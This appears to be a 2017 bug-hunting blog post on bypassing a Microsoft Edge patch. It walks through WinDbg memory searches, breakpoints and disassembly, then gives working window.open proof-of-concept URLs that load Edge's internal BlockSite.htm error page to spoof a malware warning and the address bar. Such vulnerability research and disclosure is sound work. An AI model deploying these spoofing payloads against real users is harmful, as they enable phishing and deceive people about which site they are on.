Yesterday, Microsoft pushed a gigantic update where tons of security bugs were fortunately killed, including most ones from this website. Kudos, big kudos to the Edge developers and the ones in charge of its security. Please, convince the ones who want to keep the ridiculous IE policies to change their minds or at least publicly explain why they don’t care about IE, at all. Kill it or protect it.

Bug hunter, if you haven’t seen the original bug, please do so before reading the post below which explains how to bypass the patch.

[ Update: this bug was patched on 2017-05-09 by also bypassed the same day ]

New PoC [2017-05-09]

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/\\BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com"); 1 2 3 window . open ( "ms-appx-web://microsoft.microsoftedge/assets/errorpages/\\BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com" ) ;

Super Quick Recap

MS Edge allowed us to load some of its internal resources including html pages like acr_error.htm but it did not not allow us to load BlockSite.htm. Why? Because this last page can be easily used to spoof the internal malware warning message and the address bar. We bypassed that restriction a few months ago by changing a dot from the URL to its escaped counterpart %2e and now it has been patched. Edge developers are decoding (unescaping) our tricky URL before doing the check/string comparison, so, we need to find another way. Come on bug hunter! Close that facebook tab which is distracting you, taking your time for nothing. Close it and let’s dive into this fascinating ocean of super-interesting bits.

No symbols today

Microsoft did not upload many of their public symbols yet so our analysis won’t be as pretty as it could have been in a week (once symbols are up). But no worries because we will try to bypass this anyway, just keep in mind that we will go straight to the point using the attacker’s approach: we just want to bypass the patch and that’s it. I don’t imagine an attacker thinking “oh, I need to take a week off because Microsoft didn’t push the symbols yet“.

Finding the string “blocksite.htm”

We know that somewhere in the gigantic Edge code there has to be a string comparison against BlockSite.htm, so we will attach to Edge, find that string and set a breakpoint on memory access to see which code tries to read it.

The following JavaScript code throws an ACCESS_DENIED without even opening the new window.

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm"); 1 2 3 window . open ( "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm" ) ;

Edge is blocking this internal URL for a good reason: this particular error page accepts arguments in the hash/query-string allowing the attacker to spoof the address-bar and content of the page.

Our goal is to open that URL fooling Edge again. However, for this task we will use the following URL (encoded dot and facebook at the end so we can later recognize our own string in memory)

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com"); 1 2 3 window . open ( "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com" ) ;

Let’s attach to Edge and find the string BlockSite.htm limiting our search to the EdgeHtml.dll module, where most Edge code resides. It’s just a guess and if we don’t find anything we will try other modules or even grep all Edge files.

Once attached to the correct Edge process, we will need to know the Edge module start/end address so we can do our search only in that memory range.

0:029> lm m edgehtml Browse full module list start end module name 00007fff`54ba0000 00007fff`5614d000 edgehtml 1 2 3 4 5 6 7 0 : 029 > lm m edgehtml Browse full module list start end module name 00007fff ` 54ba0000 00007fff ` 5614d000 edgehtml

Now we will feed the search command with that address range and the string that we are interested in. WinDbg syntax is intimidating for me but I can tell you that the instruction below is doing a search s and returning only the addresses [1] of a unicode string u between those ugly 64bit addresses. Ahh! the string is BlockSite.

0:029> s -[1]u 00007fff`54ba0000 00007fff`5614d000 "BlockSite" 0x00007fff`55d90846 0x00007fff`55d90944 0x00007fff`55e52c02 1 2 3 4 5 6 0 : 029 > s - [ 1 ] u 00007fff ` 54ba0000 00007fff ` 5614d000 "BlockSite" 0x00007fff ` 55d90846 0x00007fff ` 55d90944 0x00007fff ` 55e52c02

Nice. It seems WinDbg immediately returned three addresses. Let’s see if it got them right. Du du du. Like Dudú, my friend Eduardo who is nicknamed “Dudú”.

0:029> du 0x00007fff`55d90846; du 0x00007fff`55d90944; du0x00007fff`55e52c02 00007fff`55d90846 "BlockSite.htm" 00007fff`55d90944 "BlockSite.htm" 00007fff`55e52c02 "BlockSite.htm" 1 2 3 4 5 6 0 : 029 > du 0x00007fff ` 55d90846 ; du 0x00007fff ` 55d90944 ; du0x00007fff ` 55e52c02 00007fff ` 55d90846 "BlockSite.htm" 00007fff ` 55d90944 "BlockSite.htm" 00007fff ` 55e52c02 "BlockSite.htm"

I’m getting excited. We will set a breakpoint on memory access on those three addresses. We want to find out who is accessing that string.

ba r1 0x00007fff`55d90846 ba r1 0x00007fff`55d90944 ba r1 0x00007fff`55e52c02 g (keep running, Edge!) 1 2 3 4 5 6 ba r1 0x00007fff ` 55d90846 ba r1 0x00007fff ` 55d90944 ba r1 0x00007fff ` 55e52c02 g ( keep running , Edge ! )

Excellent. Now let’s go to our JavaScript code and try to open our malicious (buuhh!) URL.

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com"); 1 2 3 window . open ( "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com" ) ;

Wow! Immediate breakpoint. We are back into WinDbg. Let’s see what we have.

Breakpoint 0 hit KERNELBASE!lstrlenW+0x18: 00007fff`74f6e2c8 75f6 jne KERNELBASE!lstrlenW+0x10 (00007fff`74f6e2c0) [br=1] 1 2 3 4 5 Breakpoint 0 hit KERNELBASE ! lstrlenW + 0x18 : 00007fff ` 74f6e2c8 75f6 jne KERNELBASE ! lstrlenW + 0x10 ( 00007fff ` 74f6e2c0 ) [ br = 1 ]

It seems that we are in a kernelbase module right now but our goal is to find out which code of the EdgeHtml module referenced this string. Let’s take a look at the latest 5 calls in the stack trace.

0:013> k 5 # Child-SP RetAddr Call Site 00 000000d3`14df8de8 00007fff`74f70244 KERNELBASE!lstrlenW+0x18 01 000000d3`14df8df0 00007fff`54fee629 KERNELBASE!StrStrIW+0x54 02 000000d3`14df8eb0 00007fff`55004e6b edgehtml!Ordinal107+0xc6059 03 000000d3`14df9f50 00007fff`55007272 edgehtml!Ordinal107+0xdc89b 04 000000d3`14df9f80 00007fff`55004cae edgehtml!Ordinal107+0xdeca2 1 2 3 4 5 6 7 8 9 0 : 013 > k 5 # Child - SP RetAddr Call Site 00 000000d3 ` 14df8de8 00007fff ` 74f70244 KERNELBASE ! lstrlenW + 0x18 01 000000d3 ` 14df8df0 00007fff ` 54fee629 KERNELBASE ! StrStrIW + 0x54 02 000000d3 ` 14df8eb0 00007fff ` 55004e6b edgehtml ! Ordinal107 + 0xc6059 03 000000d3 ` 14df9f50 00007fff ` 55007272 edgehtml ! Ordinal107 + 0xdc89b 04 000000d3 ` 14df9f80 00007fff ` 55004cae edgehtml ! Ordinal107 + 0xdeca2

The first two belong to the kernelbase module, but the following one comes from edgehtml. To be clear, a piece of code from the edgehtml has called the function StrStrIW from the kernelbase module/library which seems to be pretty standard. A quick Google search for StrStrIW takes us to the function documentation on MSDN:

The documentation is pretty clear and thanks to the stack-trace, we know that edgehtml is calling this function. Let’s set a breakpoint into the Edge returning address to analyze the code before that point. (By the way, we can arrive to the same point using a “step to next return” twice (pt). Experiment!)

bp edgehtml!Ordinal107+0xc6059 g 1 2 3 4 bp edgehtml ! Ordinal107 + 0xc6059 g

Bang! We immediately break here

Breakpoint 3 hit edgehtml!Ordinal107+0xc6059: 00007fff`54fee629 4885c0 test rax,rax 1 2 3 4 5 Breakpoint 3 hit edgehtml ! Ordinal107 + 0xc6059 : 00007fff ` 54fee629 4885c0 test rax , rax

But we are just coming back from the string comparison, so let’s look a bit up to see what happened. In WinDbg we can quickly unassemble backward (ub)

0:013> ub $ip edgehtml!Ordinal107+0xc602d: 00007fff`54fee5fd lea rdx,[edgehtml!Ordinal138+0x3e4ff8 (00007fff`55d5e6b8)] 00007fff`54fee604 lea rcx,[rsp+30h] 00007fff`54fee609 call qword ptr [edgehtml!Ordinal138+0x38b5b8 (00007fff`55d04c78)] 00007fff`54fee60f test eax,eax 00007fff`54fee611 jne edgehtml!Ordinal107+0xc6108 (00007fff`54fee6d8) 00007fff`54fee617 lea rdx,[edgehtml!Ordinal138+0x417160] (Second Argument) 00007fff`54fee61e lea rcx,[rsp+30h] (First Argument) 00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8] 1 2 3 4 5 6 7 8 9 10 11 12 0 : 013 > ub $ ip edgehtml ! Ordinal107 + 0xc602d : 00007fff ` 54fee5fd lea rdx , [ edgehtml ! Ordinal138 + 0x3e4ff8 ( 00007fff ` 55d5e6b8 ) ] 00007fff ` 54fee604 lea rcx , [ rsp + 30h ] 00007fff ` 54fee609 call qword ptr [ edgehtml ! Ordinal138 + 0x38b5b8 ( 00007fff ` 55d04c78 ) ] 00007fff ` 54fee60f test eax , eax 00007fff ` 54fee611 jne edgehtml ! Ordinal107 + 0xc6108 ( 00007fff ` 54fee6d8 ) 00007fff ` 54fee617 lea rdx , [ edgehtml ! Ordinal138 + 0x417160 ] ( Second Argument ) 00007fff ` 54fee61e lea rcx , [ rsp + 30h ] ( First Argument ) 00007fff ` 54fee623 call qword ptr [ edgehtml ! Ordinal138 + 0x38b5c8 ]

Great. Unfortunately we don’t have all the symbols here so everything looks a bit ugly. But no worries, we know we’ve just returned from the call above (the latest line) right? And before that call, there are two arguments being passed, one in rdx and another one in rcx (those two lea). But we have no idea what’s there at this point because the call already executed and those values could have been changed. Let’s examine this closer by setting a breakpoint in the latest call (so it does not execute) and once we are there examine its arguments:

bd * (disable previous breakpoints) bp 00007fff`54fee623 g 1 2 3 4 5 bd * ( disable previous breakpoints ) bp 00007fff ` 54fee623 g

Now we will have a chance to see exactly what’s there before the comparison. Run the same JavaScript statement

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com"); 1 2 3 window . open ( "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com" ) ;

Which fires the breakpoint just before doing the string comparison.

Breakpoint 4 hit edgehtml!Ordinal107+0xc6053: 00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8] ds:00007fff`55d04c88={KERNELBASE!StrStrIW (00007fff`74f701f0)} 1 2 3 4 5 Breakpoint 4 hit edgehtml ! Ordinal107 + 0xc6053 : 00007fff ` 54fee623 call qword ptr [ edgehtml ! Ordinal138 + 0x38b5c8 ] ds : 00007fff ` 55d04c88 = { KERNELBASE ! StrStrIW ( 00007fff ` 74f701f0 ) }

Let’s inspect the arguments passed to the StrStrl function:

0:013> du @rcx (First argument) 000000d3`14df8ee0 "ms-appx-web://microsoft.microsof" 000000d3`14df8f20 "tedge/assets/errorpages/BlockSit" 000000d3`14df8f60 "e.htm?BlockedDomain=facebook.com" 0:013> du @rdx (Second argument) 00007fff`55d90820 "/assets/errorPages/BlockSite.htm" 1 2 3 4 5 6 7 8 9 0 : 013 > du @ rcx ( First argument ) 000000d3 ` 14df8ee0 "ms-appx-web://microsoft.microsof" 000000d3 ` 14df8f20 "tedge/assets/errorpages/BlockSit" 000000d3 ` 14df8f60 "e.htm?BlockedDomain=facebook.com" 0 : 013 > du @ rdx ( Second argument ) 00007fff ` 55d90820 "/assets/errorPages/BlockSite.htm"

Aha! We can see here that our %2e (the dot) has already been decoded (it’s a dot instead of our %2e). It seems to me that Edge calls the StrStrl function and then checks if “/assets/errorPages/BlockSite.htm” exists in our URL. Not sure, the following pseudoCode is what I believe at this point:

var url = "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm?BlockedDomain=facebook.com"; var badString = "/assets/errorPages/BlockSite.htm"; if (badString is inside URL) ACCESS_DENIED; 1 2 3 4 5 6 var url = "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm?BlockedDomain=facebook.com" ; var badString = "/assets/errorPages/BlockSite.htm" ; if ( badString is inside URL ) ACCESS_DENIED ;

It is important to remember that we are speculating here, because in reality we haven’ts seen yet any check after this comparison, but because we do have the comparison in front of our eyes, we expect that to happen soon. However, we don’t care too much as long as we can bypass this again, using a similar technique.

The main issue here is that the comparison checks against a hardcoded string but we know URLs can be written in many different ways. Our previous trick was to encode a dot but now we should think of a new one because we know we are being unencoded, and we know the exact string comparison being done.

Many ideas come to my mind like multiple encoding or adding more slashes to the URL. Let’s try by adding a slash in the middle which will fool the string check but hopefully will work as a valid URL. So, we will add a dash after errorPages, just like this:

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com"); 1 2 3 window . open ( "ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com" ) ;

Wow! It seems a simple double slash bypasses the patch but still, Edge is able to load the URL. Let’s build a better query-string now to completely spoof the malware-page, just as we did before.

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com"); 1 2 3 window . open ( "ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com" ) ;

Bug hunter, there are more bypasses coming! Stay tuned and please don’t waste your precious minutes looking at your friend’s vacation pictures :). Close that Facebook tab.

Have a nice day!

Manuel.